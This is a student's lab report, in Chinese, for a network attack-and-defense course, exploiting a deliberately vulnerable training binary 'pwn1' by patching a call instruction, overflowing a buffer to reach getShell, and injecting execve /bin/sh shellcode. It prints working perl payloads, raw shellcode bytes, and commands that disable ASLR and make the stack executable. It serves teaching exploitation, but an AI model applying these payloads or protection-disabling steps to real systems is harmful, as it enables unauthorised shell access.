20252913 2025-2026-2 《网络攻防实践》实践九报告

20252913 2025-2026-2 《网络攻防实践》实践九报告

1.实践内容

1.1 实践目标

  • 实践对象:一个名为pwn1的linux可执行文件。

  • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

  • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

1.2 实践内容

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

1.3 实验要求

  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
  • 掌握反汇编与十六进制编程器
  • 能正确修改机器指令改变程序执行流程
  • 能正确构造payload进行bof攻击

1.4 相关知识

1、pwn1(Linux ELF格式可执行文件)。

内含main、foo、getShell三个函数。程序默认只走main -> foo的流程回显用户输入,getShell处于“沉睡”状态。

任务: 打破常规,通过漏洞劫持程序执行流,强制唤醒getShell或执行自定义代码。

2、缓冲区溢出 (BOF)

核心原理: 程序调用函数时使用栈帧存储数据。

致命缺陷: foo函数在读取用户输入时,未进行长度校验。

利用方式: 输入超长字符串,突破缓冲区边界,顺势覆盖栈中的函数返回地址。当函数结束时,CPU会跳转到我们篡改的地址去执行。

3、攻击载荷 (Payload) 构造

构成: 填充垃圾数据 + 目标地址

机制: 前段数据用于填满缓冲区并占位,末端数据精准覆盖返回地址,从而控制程序下一步去向。

4、关键工具与指令

类别 名称 作用
分析工具 反汇编 (objdump/gdb) 将二进制机器码翻译为汇编代码,用于定位函数地址和逻辑。
修改工具 十六进制编辑器 (hexedit/010) 直接修改二进制文件,改写机器指令。
核心指令 NOP(0x90) 空操作,用于填充滑行区。
JMP/JE/JNE 无条件或有条件跳转,控制代码流向。
CMP 比较指令,为跳转提供依据。

5、Shellcode

一段精简的二进制机器码,专门用于调用系统接口。 不再局限于跳回现有函数,而是直接将这段恶意指令注入内存并执行,从而获得远程交互式Shell。

2.实践过程

2.1 手工修改可执行文件

1、修改主机名

sudo su
hostname guohao2913
hostname

image-20260518145522768

2、把下载好的pwn1拖到kali机中,修改文件名

mv pwn1 pwn2913guohao

image-20260518145603688

3、使用objdump指令对程序进行反汇编,查看函数逻辑,按回车显示更多:

image-20260518145658760

image-20260518145702580

可以看到核心函数有main、foo、getshell,程序默认只走main -> foo的流程回显用户输入,getShell处于“沉睡”状态,我们修改main函数的调用指令,使程序直接跳转至getshell函数。

4、用vim打开程序,转换为十六进制:

vim pwn2913guohao

image-20260518145945997

:%!xxd

image-20260518145955907

5、修改call指令的偏移量,将d7修改为c3,让函数返回时不回到main函数,直接跳转到getshell函数。

image-20260518150153803

按i修改成功后,按esc输入:wq,回车保存

image-20260518150241288

6、修改后,将十六进制还原为二进制:

:%!xxd -r
:wq

7、验证结果

objdump -d pwn2913guohao | more

image-20260518150404810

执行程序:

./pwn2913guohao

image-20260518150503026

执行后程序顺利跳转到getshell,可以执行ls等指令。

2.2 利用foo函数的Bof漏洞

1、查看foo函数的运行逻辑

objdump -d pwn1 | more

image-20260518160015648

2、使用 perl 构造包含填充字段 + 目标函数地址的 Payload,前32B为填充数据,后4B为小端序的getshell地址,getShell函数的起始地址0x0804847d,构造后写入input_gh文件

image-20260518160132630

perl -e 'print "A" x 32;print "\x7d\x84\x04\x08"' > input_gh

3、查看生成的payload文件:

xxd input_gh

image-20260518160629072

4、为pwn1添加可执行权限并执行攻击

chmod u+x ./pwn1
(cat input_gh; cat) | ./pwn1

image-20260518160734482

攻击成功,可执行ls、whoami等指令

2.3 注入一个自己制作的shellcode并运行

1、离线下载execstack 的 deb 安装包:

# 下载地址:http://archive.ubuntu.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

2、关闭Linux系统的堆栈保护机制并允许在栈上执行代码:

chmod u+x pwn2913guohao
sudo execstack -s ./pwn2913guohao
sudo execstack -q ./pwn2913guohao

image-20260518161311296

3、关闭地址空间布局随机化

sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
cat /proc/sys/kernel/randomize_va_space

image-20260518161403736

2表示开启,0表示关闭,关闭成功

4、 构造初始 Payload,触发溢出,找到shellcode的内存地址,用于 GDB 调试定位地址

perl -e 'print "A" x 32;print "\x01\x02\x03\x04\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode

image-20260518161555267

首先打印 32 个连续的字符 'A',这部分的作用是填满程序的缓冲区并覆盖掉旧的 EBP(基址指针),从而刚好覆盖到函数的返回地址位置;紧接着打印的一长串十六进制字节中,前四个字节 \x01\x02\x03\x04是预留的占位返回地址(在后续调试中会替换为真实的 Shellcode 内存地址),随后的六个 \x90是汇编指令 NOP(空操作),作为“滑板”来提高程序跳转到 Shellcode 时的命中率,最后附带的是一段 32 位的 Linux 标准 Shellcode,当程序的执行流被劫持跳转到此处时,这些机器码将被执行以获取系统的 Shell 权限。最终生成的二进制数据被重定向保存到 input_shellcode文件中供测试使用。

5、加载初始payload

(cat input_shellcode; cat) | ./pwn2913guohao

image-20260518161809079

在第二个终端中找到进程PID:

ps aux | grep pwn2913guohao

image-20260518161841437

PID为1680

6、用gdb附加调试进程:

gdb
attach 1680

image-20260518161953108

7、反汇编foo函数,找到ret指令的地址

disassemble foo

image-20260518162024188

ret的地址为0x080484ae

在ret处设置断点:

break *0x080484ae

image-20260518162118810

8、在gdb中执行c,然后切换回第一个终端,按下回车,程序运行到断点并停止,在gdb中显示信息:

image-20260518162211744

查看此时栈顶指针寄存器的值:

info r esp

image-20260518162352068

返回地址存储在0xffcf61dc

9、计算shellcode的真实地址:

0xffcf61dc+4=0xffcf61e0

把地址转换为小端序:

\xe0\x61\xcf\xff

10、输入quit命令退出gdb,生成最终的payload:

perl -e 'print "A" x 32;print "\xe0\x61\xcf\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_final

image-20260518162620276

11、执行攻击:

(cat input_final; cat) | ./pwn2913guohao

image-20260518162735846

攻击成功,可执行ls等命令。

3.学习中遇到的问题及解决

问题1:在使用 objdump -d命令对 pwn2913guohao文件进行反汇编时,系统报错提示:file format not recognized(文件格式无法识别)。

问题1

- 问题1解决方案:在vim中把格式转换为十六进制和忘记修改回二进制导致文件格式无法识别,最后通过重新下载原文件解决。

问题2:安装 execstack 工具时在线下载失败

下载失败

- 问题2解决方案:采用离线下载方式进行安装

4.实践总结

本次实践我通过对pwn1的攻防实践,验证了缓冲区溢出漏洞的危害。利用foo函数未校验输入的缺陷,构造“填充数据+目标地址”的Payload覆盖返回地址,成功劫持EIP执行流。结合反汇编与十六进制编辑技术,实现了从普通回显到获取getShell及自定义代码的攻击,深刻理解了栈结构与程序控制流的原理。

posted @ 2026-05-18 16:29  G116h6  阅读(21)  评论(0)    收藏  举报